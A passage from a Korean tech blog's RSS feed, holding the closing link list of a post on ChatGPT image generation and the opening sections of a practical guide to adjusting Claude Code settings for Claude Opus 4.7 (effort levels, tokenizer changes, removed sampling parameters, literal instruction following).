&lt;ul style=&quot;padding-left: 20px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://openai.com/index/introducing-chatgpt-images-2-0/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI &amp;mdash; Introducing ChatGPT Images 2.0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://help.openai.com/en/articles/11084440-images-in-chatgpt&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Help &amp;mdash; Images in ChatGPT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://openai.com/chatgpt/pricing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ChatGPT 가격 페이지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://openai.com/index/introducing-4o-image-generation/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI &amp;mdash; Introducing 4o Image Generation (2025-03-25)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.inews24.com/view/1830570&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;아이뉴스24 &amp;mdash; 챗GPT로 만든 이모티콘, 카톡에서 팔 수 있을까 (2025-04-03)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://brunch.co.kr/@dolsse822/311&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;브런치 &amp;mdash; AI로 내 딸의 특별한 카톡 이모티콘 만들기 (2025-04-14)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/ChatGPT(Codex)</category>
      <category>ChatGPT 이미지 생성</category>
      <category>ChatGPT 이미지 프롬프트</category>
      <category>GPT Image 2</category>
      <category>GPT Image 2 사용법</category>
      <category>블로그 썸네일 만들기</category>
      <category>이미지 프롬프트 작성법</category>
      <category>인포그래픽 프롬프트</category>
      <category>카드뉴스 프롬프트</category>
      <category>티스토리 썸네일 프롬프트</category>
      <category>한글 이미지 생성</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/588</guid>
      <comments>https://goddaehee.tistory.com/588#entry588comment</comments>
      <pubDate>Wed, 29 Apr 2026 00:51:59 +0900</pubDate>
    </item>
    <item>
      <title>Claude Opus 4.7 설정 최적화 - 달라진 것, 주의할 것, 지금 바꿀 것 (effort 레벨부터 Extended Thinking 등)</title>
      <link>https://goddaehee.tistory.com/587</link>
      <description>&lt;!-- 래퍼 1: 인트로 (line-height: 1.7) --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2656&quot; data-origin-height=&quot;1494&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yFDks/dJMcah5h6Vw/H4FkoYGk8XiekNBvtifUZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yFDks/dJMcah5h6Vw/H4FkoYGk8XiekNBvtifUZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yFDks/dJMcah5h6Vw/H4FkoYGk8XiekNBvtifUZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyFDks%2FdJMcah5h6Vw%2FH4FkoYGk8XiekNBvtifUZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2656&quot; height=&quot;1494&quot; data-origin-width=&quot;2656&quot; data-origin-height=&quot;1494&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code를 Opus 4.7가 출시되었다. 해당 출시소식을 아주 간단히 살펴보고,&amp;nbsp;Anthropic이 직접 공개한&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/blog/best-practices-for-using-claude-opus-4-7-with-claude-code&quot;&gt;Opus 4.7 베스트 프랙티스 가이드&lt;/a&gt;와 모델 카드, Claude Code 공식 문서를 바탕으로 &quot;왜 느려졌는지&quot;, &quot;무엇을 어떻게 바꿔야 하는지&quot;를 정리한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;effort 레벨 완전 해부, 첫 턴 프롬팅 전략, 사고 깊이 제어, auto mode, Extended Thinking 마이그레이션, 서브에이전트 명시까지 &amp;mdash; 2026-04-16 Anthropic 공식 가이드 기준으로 한 번에 정리해 보자.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 래퍼 2: 본문 (line-height: 1.8) --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 12px; color: #1a3a52;&quot; data-ke-size=&quot;size16&quot;&gt;목차&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px; padding-left: 4px; color: #555; font-size: 15px;&quot; data-ke-size=&quot;size14&quot;&gt;▸ Opus 4.7 출시 개요 &amp;mdash; 무엇이 달라졌나&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;왜 갑자기 느려졌나&lt;/li&gt;
&lt;li&gt;무엇이 바뀌었나 &amp;mdash; Opus 4.7의 핵심 변화&lt;/li&gt;
&lt;li&gt;effort 레벨 완전 해부 (xhigh 신규 단계 포함)&lt;/li&gt;
&lt;li&gt;첫 턴 프롬팅 전략&lt;/li&gt;
&lt;li&gt;사고 깊이 제어하기&lt;/li&gt;
&lt;li&gt;auto mode와 토큰 효율화&lt;/li&gt;
&lt;li&gt;Extended Thinking 마이그레이션 주의사항&lt;/li&gt;
&lt;li&gt;서브에이전트 &amp;mdash; 명시하지 않으면 안 한다&lt;/li&gt;
&lt;li&gt;즉시 적용 체크리스트&lt;/li&gt;
&lt;li&gt;트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 섹션 0: Opus 4.7 출시 개요 --&gt;
&lt;h2 style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin: 35px 0 20px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Opus 4.7 출시 개요 &amp;mdash; 무엇이 달라졌나&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 4월 16일, Anthropic이 Claude Opus 4.7을 일반 공급(GA)했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;API 모델 ID는 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px; color: #c7254e;&quot;&gt;claude-opus-4-7&lt;/code&gt;, 가격은 Opus 4.6과 동일한 입력 $5 / 출력 $25 per MTok이며 1M 토큰 컨텍스트에 long-context premium 없이 standard pricing이 적용된다. Claude API, Amazon Bedrock, Google Cloud Vertex AI, Microsoft Foundry에서 출시일 당일부터 사용 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1944&quot; data-origin-height=&quot;1044&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eIt4yG/dJMcaaZm1qg/yRbNG7VpDHOOz98sgxdwu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eIt4yG/dJMcaaZm1qg/yRbNG7VpDHOOz98sgxdwu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eIt4yG/dJMcaaZm1qg/yRbNG7VpDHOOz98sgxdwu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeIt4yG%2FdJMcaaZm1qg%2FyRbNG7VpDHOOz98sgxdwu1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1944&quot; height=&quot;1044&quot; data-origin-width=&quot;1944&quot; data-origin-height=&quot;1044&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Opus 4.6과 비교했을 때 핵심 변경 사항을 정리하면 다음과 같다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Opus 4.6&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Opus 4.7&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;가격 (per MTok)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;입력 $5 / 출력 $25&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;동일 (1M context도 standard pricing)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;이미지 최대 해상도&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;1568px / 1.15MP&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;2576px / 3.75MP, 좌표 1:1 픽셀 매핑&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Tokenizer&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;이전 세대&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;신규 &amp;mdash; 동일 텍스트 대비 1.0&amp;times;~1.35&amp;times; 토큰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Thinking 모드&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;extended + adaptive&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;adaptive only (기본 off, 명시 지정 필요)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;temperature / top_p / top_k&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;사용 가능&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;기본값 외 지정 시 HTTP 400 에러&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기본 tool 호출 성향&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;더 많음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;더 적음, effort로 조정 / 톤도 더 직설적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Subagent 스폰&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기본 더 많음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;기본 더 적음, 프롬프트로 조정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;신규 개발자 기능도 세 가지 추가되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1) task budgets&lt;/b&gt;(public beta, 베타 헤더 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px; color: #c7254e;&quot;&gt;task-budgets-2026-03-13&lt;/code&gt;)는 긴 에이전틱 루프 전체에 토큰 예산 힌트를 주는 advisory cap 기능이다 &amp;mdash; 최소 20k tokens이며 hard cap이 아니라 모델에게 페이스를 알려 주는 신호이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2)&lt;b&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px; color: #c7254e;&quot;&gt;/ultrareview&lt;/code&gt;&lt;/b&gt; 슬래시 커맨드는 Claude Code에서 전담 코드 리뷰 세션용으로 추가됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) 고해상도 이미지는 최대 2576px / 3.75MP로 확장되었고, 반환 좌표가 실제 픽셀과 1:1이 되어 스케일 보정 계산이 더 이상 필요 없다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1074&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dhAtwX/dJMcabYiG6c/PpjBTJkP4XC8Bh2tdEZJ80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dhAtwX/dJMcabYiG6c/PpjBTJkP4XC8Bh2tdEZJ80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dhAtwX/dJMcabYiG6c/PpjBTJkP4XC8Bh2tdEZJ80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdhAtwX%2FdJMcabYiG6c%2FPpjBTJkP4XC8Bh2tdEZJ80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1982&quot; height=&quot;1074&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;1074&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Breaking change: temperature / top_p / top_k 제거&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Opus 4.7에서 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px; color: #c7254e;&quot;&gt;temperature&lt;/code&gt;, &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px; color: #c7254e;&quot;&gt;top_p&lt;/code&gt;, &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px; color: #c7254e;&quot;&gt;top_k&lt;/code&gt;를 기본값 외의 값으로 지정하면 &lt;b&gt;HTTP 400 에러&lt;/b&gt;를 반환한다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;기존에 창의성 조절 용도로 temperature를 올려 쓰던 코드가 있다면 Opus 4.7 전환 전 반드시 해당 파라미터를 제거하거나 기본값으로 되돌려야 한다. sampling 제어가 필요하다면 effort 레벨로 대체하는 편이 권장된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic은 Opus 4.7 발표와 같은 날 &quot;Claude Mythos Preview&quot;의 존재를 공식 인정하고, Opus 4.7이 그보다 덜 유능하다고 밝혔다. Mythos는 Project Glasswing의 일환으로 방어 사이버보안 워크플로우를 위한 연구 프리뷰 모델로, &lt;b&gt;액세스는 invitation-only이며 self-serve sign-up이 없다&lt;/b&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 소수의 기술&amp;middot;사이버보안 회사에만 공개되어 있어 일반 개발자가 호출해 볼 수 있는 제품 라인이 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 1: 왜 갑자기 느려졌나 --&gt;
&lt;h2 style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin: 35px 0 20px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 왜 갑자기 느려졌나&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code v2.1.117 이후 Opus 4.7로 처음 전환하면, Claude Code는 이전에 설정해 둔 effort 레벨을 무시하고 &lt;code&gt;xhigh&lt;/code&gt;를 자동 적용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 어제까지 &lt;code&gt;high&lt;/code&gt;에서 잘 돌던 워크플로가 오늘은 &lt;code&gt;xhigh&lt;/code&gt;로 돌아간다. Anthropic은 이 동작을 의도적으로 설계했고, 같은 문서에서 &quot;Opus 4.7로 처음 전환할 때는 이전에 Opus 4.6이나 Sonnet 4.6에서 설정한 effort 레벨이 무엇이든 &lt;code&gt;xhigh&lt;/code&gt;가 적용된다&quot;고 명시한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다면 단순히 effort만 한 단계 올린 것이 아니다. Opus 4.7은 토크나이저가 새로 바뀌었고, 사용자 턴 이후 추론도 더 길어졌다. 출시 공고에 따르면 새 토크나이저는 동일 텍스트에 대해 이전 모델 대비 &lt;b&gt;약 1.0배에서 1.35배 사이&lt;/b&gt;의 토큰을 사용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기에 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/blog/best-practices-for-using-claude-opus-4-7-with-claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;베스트 프랙티스 문서&lt;/a&gt;는 인터랙티브 세션에서 Opus 4.7이 &quot;사용자 턴 이후 더 많이 추론하며, 이는 장기 세션에서 일관성&amp;middot;지시 추종&amp;middot;코딩 품질을 개선하지만 토큰 사용을 늘리는 경향이 있다&quot;고 적고 있다.&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bja2nd/dJMcaayktXL/Hpdpbk9e7y5KSQwyEhgof0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bja2nd/dJMcaayktXL/Hpdpbk9e7y5KSQwyEhgof0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bja2nd/dJMcaayktXL/Hpdpbk9e7y5KSQwyEhgof0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbja2nd%2FdJMcaayktXL%2FHpdpbk9e7y5KSQwyEhgof0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2010&quot; height=&quot;1102&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;결국 &quot;느려졌다&quot;는 체감은 세 가지가 겹친 결과다. (1) 기본 effort가 &lt;code&gt;xhigh&lt;/code&gt;로 자동 상향되었고, (2) 토크나이저가 바뀌어 같은 텍스트도 더 많은 토큰을 차지하며, (3) 사용자 턴 이후 추론이 길어졌다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code 메인테이너 boris_cherny는 &quot;Opus 4.7은 thinking 토큰을 더 쓰므로 모든 구독자의 rate limit을 올렸다&quot;고 공식 발표했다. Anthropic은 토큰 사용 증가를 모델 회귀가 아닌 &quot;더 많이 사고하는 동작 변화&quot;로 보고, rate limit 자체를 올려 대응한 것이다. 버그가 아니라 의도된 설계다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: 무엇이 바뀌었나 --&gt;
&lt;h2 style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin: 35px 0 20px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 무엇이 바뀌었나 &amp;mdash; Opus 4.7의 핵심 변화&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2004&quot; data-origin-height=&quot;1098&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ft9L4/dJMcafzDANI/TM4tjZoAFlyZcw1UsPYkVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ft9L4/dJMcafzDANI/TM4tjZoAFlyZcw1UsPYkVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ft9L4/dJMcafzDANI/TM4tjZoAFlyZcw1UsPYkVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFt9L4%2FdJMcafzDANI%2FTM4tjZoAFlyZcw1UsPYkVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2004&quot; height=&quot;1098&quot; data-origin-width=&quot;2004&quot; data-origin-height=&quot;1098&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Opus 4.7은 2026년 4월 16일에 출시되었고, 모든 Claude 제품과 API, Amazon Bedrock, Google Cloud Vertex AI, Microsoft Foundry에서 즉시 사용할 수 있다. 겉보기엔 평범한 마이너 업그레이드 같지만, 안쪽 동작은 4.6과 상당히 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2-1. 응답 길이가 작업 복잡도에 맞춰 조정된다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델 카드는 Opus 4.7이 &quot;고정된 verbosity 기본값을 따르지 않고, 인지된 작업 복잡도에 따라 응답 길이를 조정한다&quot;고 설명한다.&amp;nbsp;간단한 질문에는 짧게, 복잡한 리팩토링에는 길게 답하는 자기 조절이 강해졌다는 의미다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2-2. 도구 호출은 줄고 추론은 늘었다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 모델 카드는 &quot;기본적으로 도구 호출이 줄고 추론을 더 사용하며, effort를 올리면 도구 사용도 함께 늘어난다. 서브에이전트도 기본적으로 덜 생성된다&quot;고 적고 있다. &lt;code&gt;low&lt;/code&gt;/&lt;code&gt;medium&lt;/code&gt; 같은 낮은 effort에서는 4.6보다 더 절약 모드로 동작하고, &lt;code&gt;xhigh&lt;/code&gt;/&lt;code&gt;max&lt;/code&gt;에서는 도구 호출과 서브에이전트가 함께 폭증한다. 같은 모델이 effort에 따라 완전히 다른 성격으로 동작하는 셈이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2-3. 지시를 더 문자 그대로 따른다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델 카드는 또 &quot;낮은 effort 레벨에서 특히, 지시를 더 문자 그대로 따른다. 한 항목에 대한 지시를 다른 항목으로 조용히 일반화하지 않으며, 요청하지 않은 사항을 추론하지 않는다&quot;고 명시한다. 이는 양날의 검이다. 모호한 프롬프트를 4.6처럼 &quot;알아서 해석&quot;해 주는 자비가 줄었다. 그래서 같은 프롬프트가 4.6에서는 잘 동작하다가 4.7에서는 절반만 처리되는 경험이 생긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앤트로픽이 공개한 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/build-with-claude/prompt-engineering/claude-prompting-best-practices&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 프롬프팅 베스트 프랙티스 가이드&lt;/a&gt;는 이 변화의 긍정적 측면도 명시한다. &quot;이 리터럴리즘의 장점은 정밀성과 불필요한 재처리 감소다. 세심하게 조율된 프롬프트, 구조화된 추출, 예측 가능한 동작이 중요한 파이프라인에서는 오히려 더 좋은 성능을 낸다.&quot; 즉, 4.7은 엉성한 프롬프트에 더 엄격해졌지만, 잘 작성된 프롬프트에는 더 충실하게 응답한다는 의미이기도 하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실용적 대응법은 단순하다. 지시를 광범위하게 적용받고 싶다면 그 범위를 명시적으로 써야 한다. 가이드의 예시 문구: &lt;i&gt;&quot;이 서식을 첫 번째 섹션만이 아니라 모든 섹션에 적용하라(Apply this formatting to every section, not just the first one).&quot;&lt;/i&gt; 4.6이라면 알아서 전체에 적용했을 지시를, 4.7은 첫 항목에만 적용하고 멈춘다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
